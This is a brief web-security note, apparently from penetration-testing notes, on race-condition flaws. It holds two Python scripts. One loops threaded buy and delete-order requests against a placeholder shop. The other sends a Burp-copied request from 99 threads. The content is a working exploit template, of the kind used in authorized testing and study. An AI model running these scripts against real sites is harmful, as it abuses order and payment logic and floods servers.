Web Security - Concurrency Issues
Sample Code 1
import requests
from threading import Thread
def get1():
r = requests.get(url="http://test.com/buy/?name=test")
print(r.text)
def get2():
r = requests.get(url="http://test.com/del_order/")
print(r.text)
while True:
ts1 = [Thread(target=get1) for i in range(1,10)]
ts2 = [Thread(target=get2) for i in range(1,10)]
for t in ts1:
t.start()
for t in ts1:
t.join()
for t in ts2:
t.start()
for t in ts2:
t.join()
Sample Code 2
- Burp Plugin: Copy As Python-Requests: right click ‘Copy as requests’, and paste, and put the content in
action()
function.
Sample Code:
import threading
import requests
threads = []
def action():
# This part is pasted from the Burp Plugin
burp0_url = "..."
burp0_cookies = {"xxx": "..."}
burp0_headers = {"User-Agent": "..."}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
if __name__ == '__main__':
for i in range(0, 99):
t = threading.Thread(target=action)
t.setDaemon(True)
t.start()